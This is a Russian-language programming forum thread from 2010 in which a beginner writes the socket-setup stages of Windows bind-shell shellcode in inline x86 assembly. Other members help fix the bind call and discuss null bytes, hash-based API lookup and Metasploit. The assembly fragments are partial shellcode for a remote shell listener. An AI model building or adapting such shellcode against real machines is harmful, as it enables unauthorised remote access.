вопрос по Shell коду

Тема в разделе "WASM.BEGINNERS", создана пользователем vadak, 22 ноя 2010.

  1. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    Всем здравствуйте!
    По ходу составления шеллкода у меня возник ряд вопросов, как передавать параметры функции bind() и нужно ли предварительно описывать структуру sockaddr_in? Собственно сам шеллкод(ну, его начало):
    #include <windows.h>
    int main(void)
    {
    __asm
    {
    _start:
    //LoadLibraryA("ws2_32")
    mov eax, 0x793B05CF //адрес LoadLibraryA в Win2000
    xor edx,edx
    mov dx,0x3233 //23
    push edx
    push 0x5f327377 //_2sw
    push esp
    call eax //вызов, в eax возвращает адрес ws2_32
    mov ebx,eax

    //WSAStartup(0x101,&wsa)
    add ax, 0xd7f5 //смещение от ws2_32 функции WSAStartup
    xor edx,edx
    mov dx,400
    sub esp, edx
    push esp
    xor edx,edx
    mov dx,0x101
    push edx
    call eax

    // s=WSASocketA(2,1,0,0,0,0)
    mov bx,0xc963 //смещение функции WSASocketA
    xor ecx,ecx
    push ecx
    push ecx
    push ecx
    push ecx
    push 1
    push 2
    call ebx
    xchg eax, ebx //возвращает номер сокета в eax
    }

    }
     
  2. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    мать моя женщина
    а в мсдн как написано?
    через стек. Или что ты имеешь ввиду?
     
  3. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    да именно!, как сделать это через стек?
     
  4. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    ну можешь сделать примерно так же, как у тебя это с первой функцией сделано: поэлементно засунь в стек свою структуру чреез push (заодно и заполнишь ее), сохрани указатель в каком-нибудь регистре (например, mov edx,esp), потом передай параметры к функции (тот же push)

    П.С.: мой учитель по экстрасенсорике подсказывает, что волею судьбы тебе в руки попал исходник, но ты ни в зуб ногой в программировании и пытаешься как-то найти способ немножко его подправить, но не знаешь, как бы об этом повежливей попросить...
     
  5. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    Это правда! я просто хочу разобраться как это все работает.

    теоретически у меня это в голове тоже вертиться, а вот практически реализовать не могу, можешь подсказать какую нибудь литературу по асму, именно для работы со стеком?
     
  6. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    а вот получилось!:
    //функция бинд
    mov eax,0x74fc361b //адрес функции в ws2_32.dll
    push 0x100007f //IP адрес 127.0.0.1
    push 0x3930 //порт 12345
    mov ecx,esp //сохраненеие указателя
    push byte 0x10 //длина структуры
    push ecx
    push ebx
    call eax

    только почему то функция вернула -1
     
  7. xanxy

    xanxy New Member

    Публикаций:
    0
    Регистрация:
    18 май 2010
    Сообщения:
    18
    не правильно заполнил структуру
     
  8. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    во-первых, да, ты передаешь только 2 поля, заполняя структуру, но сам же указал, что ее размер 16 байт (sin_family забыл передать). Во-вторых, у тебя точно в ebx хендл сокета?
     
  9. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    да я понял, вот так правильно 100%:
    //bind
    xor eax,eax
    push eax //INADDR_ANY
    mov edx,0xad110102 //0xad11 порт=4525 + 0x0102 AF_INET = 2
    dec dh
    push edx
    mov ecx,esp
    xor eax,eax
    mov al,0x10
    push eax
    push ecx
    push ebx
    mov eax,0x74fc361b
    call eax
    да в ebx номер сокета
     
  10. Satsura

    Satsura S4(uR4 __r00tw0rm__

    Публикаций:
    0
    Регистрация:
    22 апр 2010
    Сообщения:
    374
    Адрес:
    Узбекистон, бляать!!11 :D
    "Техника взлома: сокеты, эксплойты, shеllкод" отличная книга кстати (; Твой вопрос там тоже затрагивается.
    Зы.: С примерами и в картиках :lol:
     
  11. eua

    eua New Member

    Публикаций:
    0
    Регистрация:
    25 июл 2010
    Сообщения:
    42
    Дайте ссылочку,если можно.
     
  12. sysexit

    sysexit New Member

    Публикаций:
    0
    Регистрация:
    27 авг 2010
    Сообщения:
    176
    А несколько томов умных книг по работе с оператором " = " в ЯВУ тебе не надо?
     
  13. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.561
    Адрес:
    Russia
    Мда.... Перенесено в бегинерс. ТС, разберись вначале с WinSock. На васме есть хорошие статьи по сетям.
     
  14. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    Функции socket bind listen и accept работают, всех благодарю за дискуссию, вопрос решен, тему можно закрывать.
     
  15. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    vadak
    Вам необходимо востановить API функции по хешам или crc (найти адресса API)
    так как на каждой версии винды разные адреса API - шек
    Посмотрите вот сдесь http://projectshellcode.com/node/23 тут примерно все доходчиво написано
     
  16. _sheva740

    _sheva740 New Member

    Публикаций:
    0
    Регистрация:
    31 авг 2005
    Сообщения:
    1.539
    Адрес:
    Poland
    984259h
    Спасибо, классный материал и так структурно!
     
  17. MSoft

    MSoft New Member

    Публикаций:
    0
    Регистрация:
    16 дек 2006
    Сообщения:
    2.854
    это может быть невозможно по двум причинам:
    1) код должен быть минимальным
    2) не должно быть 0 вообще. А хеши имен как раз и могут содержать нулевые байты
     
  18. 984259h

    984259h New Member

    Публикаций:
    0
    Регистрация:
    25 авг 2007
    Сообщения:
    194
    MSoft
    Да Вы правы нулевые байты это зло )
     
  19. vadak

    vadak New Member

    Публикаций:
    0
    Регистрация:
    21 ноя 2010
    Сообщения:
    41
    984259h
    Спасибо за информацию!

    А что если создать такой набор шелл кодов, ну как набор отмычек, и при сканировании системы уже ясно будет какой код применять

    Вот еще инфа по шелл коду:
    http://www.samag.ru/cgi-bin/go.pl?q=articles;n=09.2003;a=11
     
  20. TermoSINteZ

    TermoSINteZ Синоби даоса Команда форума

    Публикаций:
    2
    Регистрация:
    11 июн 2004
    Сообщения:
    3.561
    Адрес:
    Russia
    vadak
    ы. Только в реале не таскают все 100500 шеллкодов. А есть так сказать TargetPlatform. И небольшие проверки по версии.
    Но если вы про подготовку шеллкода на вашей машине, то уже такие базы созданы. Тот же Metasploit Framework.